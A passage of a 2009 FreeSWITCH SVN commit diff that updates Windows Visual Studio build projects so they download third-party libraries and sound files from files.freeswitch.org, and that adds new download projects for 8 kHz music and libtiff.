+					CommandLine="set /P SOUND_VERSION=&lt;$(ProjectDir)..\..\build\sounds_version.txt&#x0D;&#x0A;if not exist &quot;$(ProjectDir)..\sounds\en\us\callie\voicemail\8000&quot; cscript /nologo &quot;$(ProjectDir)util.vbs&quot; GetUnzip http://files.freeswitch.org/freeswitch-sounds-en-us-callie-8000-%SOUND_VERSION%.tar.gz &quot;$(ProjectDir)..\sounds&quot;&#x0D;&#x0A;"
 					Outputs="$(ProjectDir)..\sounds\en\us\callie\voicemail\8000"
 				/>
 			</FileConfiguration>

Copied: freeswitch/branches/seven/libs/win32/Download 8khz music.2008.vcproj (from rev 14471, freeswitch/trunk/libs/win32/Download 8khz music.2008.vcproj) (0 => 14472)


--- freeswitch/branches/seven/libs/win32/Download 8khz music.2008.vcproj	                        (rev 0)
+++ freeswitch/branches/seven/libs/win32/Download 8khz music.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,96 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+	ProjectType="Visual C++"
+	Version="9.00"
+	Name="Download 8khz music"
+	ProjectGUID="{4F5C9D55-98EF-4256-8311-32D7BD360406}"
+	RootNamespace="Download 8khz music"
+	Keyword="Win32Proj"
+	TargetFrameworkVersion="131072"
+	>
+	<Platforms>
+		<Platform
+			Name="Win32"
+		/>
+	</Platforms>
+	<ToolFiles>
+	</ToolFiles>
+	<Configurations>
+		<Configuration
+			Name="Debug|Win32"
+			OutputDirectory="$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="10"
+			CharacterSet="2"
+			BuildLogFile="$(IntDir)\BuildLog $(ProjectName).htm"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+				CommandLine=""
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+				CommandLine=""
+				Outputs=""
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|Win32"
+			OutputDirectory="$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="10"
+			CharacterSet="2"
+			BuildLogFile="$(IntDir)\BuildLog $(ProjectName).htm"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+				CommandLine=""
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+	</Configurations>
+	<References>
+	</References>
+	<Files>
+		<File
+			RelativePath=".\8khzsound\cleancount"
+			>
+			<FileConfiguration
+				Name="Debug|Win32"
+				>
+				<Tool
+					Name="VCCustomBuildTool"
+					Description="Downloading 8khzsound."
+					CommandLine="set /P SOUND_VERSION=&lt;$(ProjectDir)..\..\build\moh_version.txt&#x0D;&#x0A;if not exist &quot;$(ProjectDir)..\sounds\music\8000&quot; cscript /nologo &quot;$(ProjectDir)util.vbs&quot; GetUnzip http://files.freeswitch.org/freeswitch-sounds-music-8000-%SOUND_VERSION%.tar.gz &quot;$(ProjectDir)..\sounds&quot;&#x0D;&#x0A;"
+					Outputs="$(ProjectDir)..\sounds\music\8000"
+				/>
+			</FileConfiguration>
+			<FileConfiguration
+				Name="Release|Win32"
+				>
+				<Tool
+					Name="VCCustomBuildTool"
+					Description="Downloading 8khzsound."
+					CommandLine="set /P SOUND_VERSION=&lt;$(ProjectDir)..\..\build\moh_version.txt&#x0D;&#x0A;if not exist &quot;$(ProjectDir)..\sounds\music\8000&quot; cscript /nologo &quot;$(ProjectDir)util.vbs&quot; GetUnzip http://files.freeswitch.org/freeswitch-sounds-music-8000-%SOUND_VERSION%.tar.gz &quot;$(ProjectDir)..\sounds&quot;&#x0D;&#x0A;"
+					Outputs="$(ProjectDir)..\sounds\music\8000"
+				/>
+			</FileConfiguration>
+		</File>
+	</Files>
+	<Globals>
+	</Globals>
+</VisualStudioProject>

Modified: freeswitch/branches/seven/libs/win32/Download FLITE.2008.vcproj (14471 => 14472)


--- freeswitch/branches/seven/libs/win32/Download FLITE.2008.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/win32/Download FLITE.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -76,17 +76,17 @@
 				<Tool
 					Name="VCCustomBuildTool"
 					Description="Downloading Flite."
-					CommandLine="if not exist &quot;$(ProjectDir)..\flite-1.3.99&quot; cscript /nologo &quot;$(ProjectDir)util.vbs&quot; GetUnzip http://svn.freeswitch.org/downloads/libs/flite-1.3.99.tar.gz &quot;$(ProjectDir)..&quot;&#x0D;&#x0A;"
+					CommandLine="if not exist &quot;$(ProjectDir)..\flite-1.3.99&quot; cscript /nologo &quot;$(ProjectDir)util.vbs&quot; GetUnzip http://files.freeswitch.org/downloads/libs/flite-1.3.99-latest.tar.gz &quot;$(ProjectDir)..&quot;&#x0D;&#x0A;"
 					Outputs="$(ProjectDir)..\flite-1.3.99"
-        />
-      </FileConfiguration>
+				/>
+			</FileConfiguration>
 			<FileConfiguration
 				Name="Release|Win32"
 				>
 				<Tool
 					Name="VCCustomBuildTool"
 					Description="Downloading Flite."
-					CommandLine="if not exist &quot;$(ProjectDir)..\flite-1.3.99&quot; cscript /nologo &quot;$(ProjectDir)util.vbs&quot; GetUnzip http://svn.freeswitch.org/downloads/libs/flite-1.3.99.tar.gz &quot;$(ProjectDir)..&quot;&#x0D;&#x0A;"
+					CommandLine="if not exist &quot;$(ProjectDir)..\flite-1.3.99&quot; cscript /nologo &quot;$(ProjectDir)util.vbs&quot; GetUnzip http://files.freeswitch.org/downloads/libs/flite-1.3.99-latest.tar.gz &quot;$(ProjectDir)..&quot;&#x0D;&#x0A;"
 					Outputs="$(ProjectDir)..\flite-1.3.99"
 				/>
 			</FileConfiguration>

Modified: freeswitch/branches/seven/libs/win32/Download HOWL.2008.vcproj (14471 => 14472)


--- freeswitch/branches/seven/libs/win32/Download HOWL.2008.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/win32/Download HOWL.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -75,7 +75,7 @@
 				<Tool
 					Name="VCCustomBuildTool"
 					Description="Downloading HOWL."
-					CommandLine="if not exist &quot;$(ProjectDir)..\howl-1.0.0&quot; cscript /nologo &quot;$(ProjectDir)util.vbs&quot; GetUnzip http://svn.freeswitch.org/downloads/libs/howl-1.0.0.tar.gz &quot;$(ProjectDir)..&quot;&#x0D;&#x0A;"
+					CommandLine="if not exist &quot;$(ProjectDir)..\howl-1.0.0&quot; cscript /nologo &quot;$(ProjectDir)util.vbs&quot; GetUnzip http://files.freeswitch.org/downloads/libs/howl-1.0.0.tar.gz &quot;$(ProjectDir)..&quot;&#x0D;&#x0A;"
 					Outputs="$(ProjectDir)..\howl-1.0.0"
 				/>
 			</FileConfiguration>
@@ -85,7 +85,7 @@
 				<Tool
 					Name="VCCustomBuildTool"
 					Description="Downloading HOWL."
-					CommandLine="if not exist &quot;$(ProjectDir)..\howl-1.0.0&quot; cscript /nologo &quot;$(ProjectDir)util.vbs&quot; GetUnzip http://svn.freeswitch.org/downloads/libs/howl-1.0.0.tar.gz &quot;$(ProjectDir)..&quot;&#x0D;&#x0A;"
+					CommandLine="if not exist &quot;$(ProjectDir)..\howl-1.0.0&quot; cscript /nologo &quot;$(ProjectDir)util.vbs&quot; GetUnzip http://files.freeswitch.org/downloads/libs/howl-1.0.0.tar.gz &quot;$(ProjectDir)..&quot;&#x0D;&#x0A;"
 					Outputs="$(ProjectDir)..\howl-1.0.0"
 				/>
 			</FileConfiguration>

Modified: freeswitch/branches/seven/libs/win32/Download HOWL.vcproj (14471 => 14472)


--- freeswitch/branches/seven/libs/win32/Download HOWL.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/win32/Download HOWL.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -74,7 +74,7 @@
 				<Tool
 					Name="VCCustomBuildTool"
 					Description="Downloading HOWL."
-					CommandLine="if not exist &quot;$(ProjectDir)..\howl-1.0.0&quot; cscript /nologo &quot;$(ProjectDir)util.vbs&quot; GetUnzip http://svn.freeswitch.org/downloads/libs/howl-1.0.0.tar.gz &quot;$(ProjectDir)..&quot;&#x0D;&#x0A;"
+					CommandLine="if not exist &quot;$(ProjectDir)..\howl-1.0.0&quot; cscript /nologo &quot;$(ProjectDir)util.vbs&quot; GetUnzip http://files.freeswitch.org/downloads/libs/howl-1.0.0.tar.gz &quot;$(ProjectDir)..&quot;&#x0D;&#x0A;"
 					Outputs="$(ProjectDir)..\howl-1.0.0"
 				/>
 			</FileConfiguration>
@@ -84,7 +84,7 @@
 				<Tool
 					Name="VCCustomBuildTool"
 					Description="Downloading HOWL."
-					CommandLine="if not exist &quot;$(ProjectDir)..\howl-1.0.0&quot; cscript /nologo &quot;$(ProjectDir)util.vbs&quot; GetUnzip http://svn.freeswitch.org/downloads/libs/howl-1.0.0.tar.gz &quot;$(ProjectDir)..&quot;&#x0D;&#x0A;"
+					CommandLine="if not exist &quot;$(ProjectDir)..\howl-1.0.0&quot; cscript /nologo &quot;$(ProjectDir)util.vbs&quot; GetUnzip http://files.freeswitch.org/downloads/libs/howl-1.0.0.tar.gz &quot;$(ProjectDir)..&quot;&#x0D;&#x0A;"
 					Outputs="$(ProjectDir)..\howl-1.0.0"
 				/>
 			</FileConfiguration>

Modified: freeswitch/branches/seven/libs/win32/Download LAME.2008.vcproj (14471 => 14472)


--- freeswitch/branches/seven/libs/win32/Download LAME.2008.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/win32/Download LAME.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -76,7 +76,7 @@
 				<Tool
 					Name="VCCustomBuildTool"
 					Description="Downloading Lame."
-					CommandLine="if not exist &quot;$(ProjectDir)..\lame-3.97&quot; cscript /nologo &quot;$(ProjectDir)util.vbs&quot; GetUnzip http://svn.freeswitch.org/downloads/libs/lame-3.97.tar.gz &quot;$(ProjectDir)..&quot;&#x0D;&#x0A;"
+					CommandLine="if not exist &quot;$(ProjectDir)..\lame-3.97&quot; cscript /nologo &quot;$(ProjectDir)util.vbs&quot; GetUnzip http://files.freeswitch.org/downloads/libs/lame-3.97.tar.gz &quot;$(ProjectDir)..&quot;&#x0D;&#x0A;"
 					Outputs="$(ProjectDir)..\lame-3.97"
         />
       </FileConfiguration>
@@ -86,7 +86,7 @@
 				<Tool
 					Name="VCCustomBuildTool"
 					Description="Downloading Lame."
-					CommandLine="if not exist &quot;$(ProjectDir)..\lame-3.97&quot; cscript /nologo &quot;$(ProjectDir)util.vbs&quot; GetUnzip http://svn.freeswitch.org/downloads/libs/lame-3.97.tar.gz &quot;$(ProjectDir)..&quot;&#x0D;&#x0A;"
+					CommandLine="if not exist &quot;$(ProjectDir)..\lame-3.97&quot; cscript /nologo &quot;$(ProjectDir)util.vbs&quot; GetUnzip http://files.freeswitch.org/downloads/libs/lame-3.97.tar.gz &quot;$(ProjectDir)..&quot;&#x0D;&#x0A;"
 					Outputs="$(ProjectDir)..\lame-3.97"
 				/>
 			</FileConfiguration>

Modified: freeswitch/branches/seven/libs/win32/Download LIBSHOUT.2008.vcproj (14471 => 14472)


--- freeswitch/branches/seven/libs/win32/Download LIBSHOUT.2008.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/win32/Download LIBSHOUT.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -76,7 +76,7 @@
 				<Tool
 					Name="VCCustomBuildTool"
 					Description="Downloading Flite."
-					CommandLine="if not exist &quot;$(ProjectDir)..\libshout-2.2.2&quot; cscript /nologo &quot;$(ProjectDir)util.vbs&quot; GetUnzip http://svn.freeswitch.org/downloads/libs/libshout-2.2.2.tar.gz &quot;$(ProjectDir)..&quot;&#x0D;&#x0A;"
+					CommandLine="if not exist &quot;$(ProjectDir)..\libshout-2.2.2&quot; cscript /nologo &quot;$(ProjectDir)util.vbs&quot; GetUnzip http://files.freeswitch.org/downloads/libs/libshout-2.2.2.tar.gz &quot;$(ProjectDir)..&quot;&#x0D;&#x0A;"
 					Outputs="$(ProjectDir)..\libshout-2.2.2"
         />
       </FileConfiguration>
@@ -86,7 +86,7 @@
 				<Tool
 					Name="VCCustomBuildTool"
 					Description="Downloading Flite."
-					CommandLine="if not exist &quot;$(ProjectDir)..\libshout-2.2.2&quot; cscript /nologo &quot;$(ProjectDir)util.vbs&quot; GetUnzip http://svn.freeswitch.org/downloads/libs/libshout-2.2.2.tar.gz &quot;$(ProjectDir)..&quot;&#x0D;&#x0A;"
+					CommandLine="if not exist &quot;$(ProjectDir)..\libshout-2.2.2&quot; cscript /nologo &quot;$(ProjectDir)util.vbs&quot; GetUnzip http://files.freeswitch.org/downloads/libs/libshout-2.2.2.tar.gz &quot;$(ProjectDir)..&quot;&#x0D;&#x0A;"
 					Outputs="$(ProjectDir)..\libshout-2.2.2"
 				/>
 			</FileConfiguration>

Modified: freeswitch/branches/seven/libs/win32/Download PTHREAD.2008.vcproj (14471 => 14472)


--- freeswitch/branches/seven/libs/win32/Download PTHREAD.2008.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/win32/Download PTHREAD.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -75,7 +75,7 @@
 				<Tool
 					Name="VCCustomBuildTool"
 					Description="Downloading PTHREAD."
-					CommandLine="if not exist &quot;$(ProjectDir)..\pthreads-w32-2-7-0-release&quot; cscript /nologo &quot;$(ProjectDir)util.vbs&quot; GetUnzip http://svn.freeswitch.org/downloads/libs/pthreads-w32-2-7-0-release.tar.gz &quot;$(ProjectDir)..&quot;&#x0D;&#x0A;"
+					CommandLine="if not exist &quot;$(ProjectDir)..\pthreads-w32-2-7-0-release&quot; cscript /nologo &quot;$(ProjectDir)util.vbs&quot; GetUnzip http://files.freeswitch.org/downloads/libs/pthreads-w32-2-7-0-release.tar.gz &quot;$(ProjectDir)..&quot;&#x0D;&#x0A;"
 					Outputs="$(ProjectDir)..\pthreads-w32-2-7-0-release"
 				/>
 			</FileConfiguration>
@@ -85,7 +85,7 @@
 				<Tool
 					Name="VCCustomBuildTool"
 					Description="Downloading PTHREAD."
-					CommandLine="if not exist &quot;$(ProjectDir)..\pthreads-w32-2-7-0-release&quot; cscript /nologo &quot;$(ProjectDir)util.vbs&quot; GetUnzip http://svn.freeswitch.org/downloads/libs/pthreads-w32-2-7-0-release.tar.gz &quot;$(ProjectDir)..&quot;&#x0D;&#x0A;"
+					CommandLine="if not exist &quot;$(ProjectDir)..\pthreads-w32-2-7-0-release&quot; cscript /nologo &quot;$(ProjectDir)util.vbs&quot; GetUnzip http://files.freeswitch.org/downloads/libs/pthreads-w32-2-7-0-release.tar.gz &quot;$(ProjectDir)..&quot;&#x0D;&#x0A;"
 					Outputs="$(ProjectDir)..\pthreads-w32-2-7-0-release"
 				/>
 			</FileConfiguration>

Modified: freeswitch/branches/seven/libs/win32/Download PTHREAD.vcproj (14471 => 14472)


--- freeswitch/branches/seven/libs/win32/Download PTHREAD.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/win32/Download PTHREAD.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -74,7 +74,7 @@
 				<Tool
 					Name="VCCustomBuildTool"
 					Description="Downloading PTHREAD."
-					CommandLine="if not exist &quot;$(ProjectDir)..\pthreads-w32-2-7-0-release&quot; cscript /nologo &quot;$(ProjectDir)util.vbs&quot; GetUnzip http://svn.freeswitch.org/downloads/libs/pthreads-w32-2-7-0-release.tar.gz &quot;$(ProjectDir)..&quot;&#x0D;&#x0A;"
+					CommandLine="if not exist &quot;$(ProjectDir)..\pthreads-w32-2-7-0-release&quot; cscript /nologo &quot;$(ProjectDir)util.vbs&quot; GetUnzip http://files.freeswitch.org/downloads/libs/pthreads-w32-2-7-0-release.tar.gz &quot;$(ProjectDir)..&quot;&#x0D;&#x0A;"
 					Outputs="$(ProjectDir)..\pthreads-w32-2-7-0-release"
 				/>
 			</FileConfiguration>
@@ -84,7 +84,7 @@
 				<Tool
 					Name="VCCustomBuildTool"
 					Description="Downloading PTHREAD."
-					CommandLine="if not exist &quot;$(ProjectDir)..\pthreads-w32-2-7-0-release&quot; cscript /nologo &quot;$(ProjectDir)util.vbs&quot; GetUnzip http://svn.freeswitch.org/downloads/libs/pthreads-w32-2-7-0-release.tar.gz &quot;$(ProjectDir)..&quot;&#x0D;&#x0A;"
+					CommandLine="if not exist &quot;$(ProjectDir)..\pthreads-w32-2-7-0-release&quot; cscript /nologo &quot;$(ProjectDir)util.vbs&quot; GetUnzip http://files.freeswitch.org/downloads/libs/pthreads-w32-2-7-0-release.tar.gz &quot;$(ProjectDir)..&quot;&#x0D;&#x0A;"
 					Outputs="$(ProjectDir)..\pthreads-w32-2-7-0-release"
 				/>
 			</FileConfiguration>

Copied: freeswitch/branches/seven/libs/win32/Download TIFF.2008.vcproj (from rev 14471, freeswitch/trunk/libs/win32/Download TIFF.2008.vcproj) (0 => 14472)


--- freeswitch/branches/seven/libs/win32/Download TIFF.2008.vcproj	                        (rev 0)
+++ freeswitch/branches/seven/libs/win32/Download TIFF.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,97 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+	ProjectType="Visual C++"
+	Version="9.00"
+	Name="Download TIFF"
+	ProjectGUID="{2B8A45C9-FEB4-4734-AB37-8DB9DB899917}"
+	RootNamespace="Download TIFF"
+	Keyword="Win32Proj"
+	TargetFrameworkVersion="131072"
+	>
+	<Platforms>
+		<Platform
+			Name="Win32"
+		/>
+	</Platforms>
+	<ToolFiles>
+	</ToolFiles>
+	<Configurations>
+		<Configuration
+			Name="Debug|Win32"
+			OutputDirectory="$(SolutionDir)$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="10"
+			CharacterSet="2"
+			BuildLogFile="$(IntDir)\BuildLog $(ProjectName).htm"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+				CommandLine=""
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+				CommandLine=""
+				Outputs=""
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|Win32"
+			OutputDirectory="$(SolutionDir)$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="10"
+			CharacterSet="2"
+			BuildLogFile="$(IntDir)\BuildLog $(ProjectName).htm"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+				CommandLine=""
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+				CommandLine=""
+			/>
+		</Configuration>
+	</Configurations>
+	<References>
+	</References>
+	<Files>
+		<File
+			RelativePath=".\tiff\cleancount"
+			>
+			<FileConfiguration
+				Name="Debug|Win32"
+				>
+				<Tool
+					Name="VCCustomBuildTool"
+					Description="Downloading Tiff."
+					CommandLine="if not exist &quot;$(ProjectDir)..\tiff-3.8.2&quot; cscript /nologo &quot;$(ProjectDir)util.vbs&quot; GetUnzip http://files.freeswitch.org/downloads/libs/tiff-3.8.2.tar.gz &quot;$(ProjectDir)..&quot;&#x0D;&#x0A;"
+					Outputs="$(ProjectDir)..\tiff-3.8.2"
+				/>
+			</FileConfiguration>
+			<FileConfiguration
+				Name="Release|Win32"
+				>
+				<Tool
+					Name="VCCustomBuildTool"
+					Description="Downloading Lame."
+					CommandLine="if not exist &quot;$(ProjectDir)..\tiff-3.8.2&quot; cscript /nologo &quot;$(ProjectDir)util.vbs&quot; GetUnzip http://files.freeswitch.org/downloads/libs/tiff-3.8.2.tar.gz &quot;$(ProjectDir)..&quot;&#x0D;&#x0A;"
+					Outputs="$(ProjectDir)..\tiff-3.8.2"
+				/>
+			</FileConfiguration>
+		</File>
+	</Files>
+	<Globals>
+	</Globals>
+</VisualStudioProject>

Modified: freeswitch/branches/seven/libs/win32/Download mpg123.2008.vcproj (14471 => 14472)


--- freeswitch/branches/seven/libs/win32/Download mpg123.2008.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/win32/Download mpg123.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -76,7 +76,7 @@
 				<Tool
 					Name="VCCustomBuildTool"
 					Description="Downloading Flite."
-					CommandLine="if not exist &quot;$(ProjectDir)..\mpg123&quot; cscript /nologo &quot;$(ProjectDir)util.vbs&quot; GetUnzip http://svn.freeswitch.org/downloads/libs/mpg123.tar.gz &quot;$(ProjectDir)..&quot;&#x0D;&#x0A;"
+					CommandLine="if not exist &quot;$(ProjectDir)..\mpg123&quot; cscript /nologo &quot;$(ProjectDir)util.vbs&quot; GetUnzip http://files.freeswitch.org/downloads/libs/mpg123.tar.gz &quot;$(ProjectDir)..&quot;&#x0D;&#x0A;"
 					Outputs="$(ProjectDir)..\mpg123"
 				/>
 			</FileConfiguration>
@@ -86,7 +86,7 @@
 				<Tool
 					Name="VCCustomBuildTool"
 					Description="Downloading Flite."
-					CommandLine="if not exist &quot;$(ProjectDir)..\mpg123&quot; cscript /nologo &quot;$(ProjectDir)util.vbs&quot; GetUnzip http://svn.freeswitch.org/downloads/libs/mpg123.tar.gz &quot;$(ProjectDir)..&quot;&#x0D;&#x0A;"
+					CommandLine="if not exist &quot;$(ProjectDir)..\mpg123&quot; cscript /nologo &quot;$(ProjectDir)util.vbs&quot; GetUnzip http://files.freeswitch.org/downloads/libs/mpg123.tar.gz &quot;$(ProjectDir)..&quot;&#x0D;&#x0A;"
 					Outputs="$(ProjectDir)..\mpg123"
 				/>
 			</FileConfiguration>

Modified: freeswitch/branches/seven/libs/win32/Download pocketsphinx.2008.vcproj (14471 => 14472)


--- freeswitch/branches/seven/libs/win32/Download pocketsphinx.2008.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/win32/Download pocketsphinx.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -75,7 +75,7 @@
 				<Tool
 					Name="VCCustomBuildTool"
 					Description="Downloading pocketsphinx."
-					CommandLine="if not exist &quot;$(ProjectDir)..\pocketsphinx-0.5.99&quot; cscript /nologo &quot;$(ProjectDir)util.vbs&quot; GetUnzip http://svn.freeswitch.org/downloads/libs/pocketsphinx-0.5.99.tar.gz &quot;$(ProjectDir)..&quot;&#x0D;&#x0A;"
+					CommandLine="if not exist &quot;$(ProjectDir)..\pocketsphinx-0.5.99&quot; cscript /nologo &quot;$(ProjectDir)util.vbs&quot; GetUnzip http://files.freeswitch.org/downloads/libs/pocketsphinx-0.5.99-latest.tar.gz &quot;$(ProjectDir)..&quot;&#x0D;&#x0A;"
 					Outputs="$(ProjectDir)..\pocketsphinx-0.5.99"
 				/>
 			</FileConfiguration>
@@ -85,7 +85,7 @@
 				<Tool
 					Name="VCCustomBuildTool"
 					Description="Downloading pocketsphinx."
-					CommandLine="if not exist &quot;$(ProjectDir)..\pocketsphinx-0.5.99&quot; cscript /nologo &quot;$(ProjectDir)util.vbs&quot; GetUnzip http://svn.freeswitch.org/downloads/libs/pocketsphinx-0.5.99.tar.gz &quot;$(ProjectDir)..&quot;&#x0D;&#x0A;"
+					CommandLine="if not exist &quot;$(ProjectDir)..\pocketsphinx-0.5.99&quot; cscript /nologo &quot;$(ProjectDir)util.vbs&quot; GetUnzip http://files.freeswitch.org/downloads/libs/pocketsphinx-0.5.99-latest.tar.gz &quot;$(ProjectDir)..&quot;&#x0D;&#x0A;"
 					Outputs="$(ProjectDir)..\pocketsphinx-0.5.99"
 				/>
 			</FileConfiguration>

Modified: freeswitch/branches/seven/libs/win32/Download sphinxbase.2008.vcproj (14471 => 14472)


--- freeswitch/branches/seven/libs/win32/Download sphinxbase.2008.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/win32/Download sphinxbase.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -75,7 +75,7 @@
 				<Tool
 					Name="VCCustomBuildTool"
 					Description="Downloading sphinxbase."
-					CommandLine="if not exist &quot;$(ProjectDir)..\sphinxbase-0.4.99&quot; cscript /nologo &quot;$(ProjectDir)util.vbs&quot; GetUnzip http://svn.freeswitch.org/downloads/libs/sphinxbase-0.4.99.tar.gz &quot;$(ProjectDir)..&quot;&#x0D;&#x0A;"
+					CommandLine="if not exist &quot;$(ProjectDir)..\sphinxbase-0.4.99&quot; cscript /nologo &quot;$(ProjectDir)util.vbs&quot; GetUnzip http://files.freeswitch.org/downloads/libs/sphinxbase-0.4.99-latest.tar.gz &quot;$(ProjectDir)..&quot;&#x0D;&#x0A;"
 					Outputs="$(ProjectDir)..\sphinxbase-0.4.99"
 				/>
 			</FileConfiguration>
@@ -85,7 +85,7 @@
 				<Tool
 					Name="VCCustomBuildTool"
 					Description="Downloading sphinxbase."
-					CommandLine="if not exist &quot;$(ProjectDir)..\sphinxbase-0.4.99&quot; cscript /nologo &quot;$(ProjectDir)util.vbs&quot; GetUnzip http://svn.freeswitch.org/downloads/libs/sphinxbase-0.4.99.tar.gz &quot;$(ProjectDir)..&quot;&#x0D;&#x0A;"
+					CommandLine="if not exist &quot;$(ProjectDir)..\sphinxbase-0.4.99&quot; cscript /nologo &quot;$(ProjectDir)util.vbs&quot; GetUnzip http://files.freeswitch.org/downloads/libs/sphinxbase-0.4.99-latest.tar.gz &quot;$(ProjectDir)..&quot;&#x0D;&#x0A;"
 					Outputs="$(ProjectDir)..\sphinxbase-0.4.99"
 				/>
 			</FileConfiguration>

Modified: freeswitch/branches/seven/libs/win32/Download sphinxmodel.2008.vcproj (14471 => 14472)


--- freeswitch/branches/seven/libs/win32/Download sphinxmodel.2008.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/win32/Download sphinxmodel.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -76,7 +76,7 @@
 				<Tool
 					Name="VCCustomBuildTool"
 					Description="Downloading sphinxmodel."
-					CommandLine="if not exist &quot;$(SolutionDir)\libs\Communicator_semi_40.cd_semi_6000&quot; cscript /nologo &quot;$(ProjectDir)util.vbs&quot; GetUnzip http://svn.freeswitch.org/downloads/libs/communicator_semi_6000_20080321.tar.gz &quot;$(ProjectDir)..&quot;&#x0D;&#x0A;"
+					CommandLine="if not exist &quot;$(SolutionDir)\libs\Communicator_semi_40.cd_semi_6000&quot; cscript /nologo &quot;$(ProjectDir)util.vbs&quot; GetUnzip http://files.freeswitch.org/downloads/libs/communicator_semi_6000_20080321.tar.gz &quot;$(ProjectDir)..&quot;&#x0D;&#x0A;"
 					Outputs="$(ProjectDir)..\Communicator_semi_40.cd_semi_6000"
 				/>
 			</FileConfiguration>
@@ -86,7 +86,12 @@
 				<Tool
 					Name="VCCustomBuildTool"
 					Description="Downloading sphinxmodel."
-					CommandLine="if not exist &quot;$(SolutionDir)\libs\Communicator_semi_40.cd_semi_6000&quot; cscript /nologo &quot;$(ProjectDir)util.vbs&quot; GetUnzip http://svn.freeswitch.org/downloads/libs/communicator_semi_6000_20080321.tar.gz &quot;$(ProjectDir)..&quot;&#x0D;&#x0A;"
+					CommandLine="if not exist
+				&quot;$(SolutionDir)\libs\Communicator_semi_40.cd_semi_6000&quot;
+				cscript /nologo
+				&quot;$(ProjectDir)util.vbs&quot;
+				GetUnzip http://files.freeswitch.org
+/downloads/libs/communicator_semi_6000_20080321.tar.gz &quot;$(ProjectDir)..&quot;&#x0D;&#x0A;"
 					Outputs="$(ProjectDir)..\Communicator_semi_40.cd_semi_6000"
 				/>
 			</FileConfiguration>

Modified: freeswitch/branches/seven/libs/win32/Sound_Files/16khz.2008.vcproj (14471 => 14472)


--- freeswitch/branches/seven/libs/win32/Sound_Files/16khz.2008.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/win32/Sound_Files/16khz.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -33,7 +33,7 @@
 			/>
 			<Tool
 				Name="VCPostBuildEventTool"
-				CommandLine="if not exist &quot;$(OutDir)\sounds\en\us\callie\voicemail\16000&quot; xcopy &quot;$(SolutionDir)libs\sounds\en\us\callie\voicemail\16000\*.*&quot; &quot;$(OutDir)\sounds\en\us\callie\voicemail\16000&quot; /C /D /Y /S /I&#x0D;&#x0A;if not exist &quot;$(OutDir)\sounds\music\16000&quot; xcopy &quot;$(SolutionDir)libs\sounds\music\16000\*.*&quot; &quot;$(OutDir)\sounds\music\16000&quot; /C /D /Y /S /I&#x0D;&#x0A;"
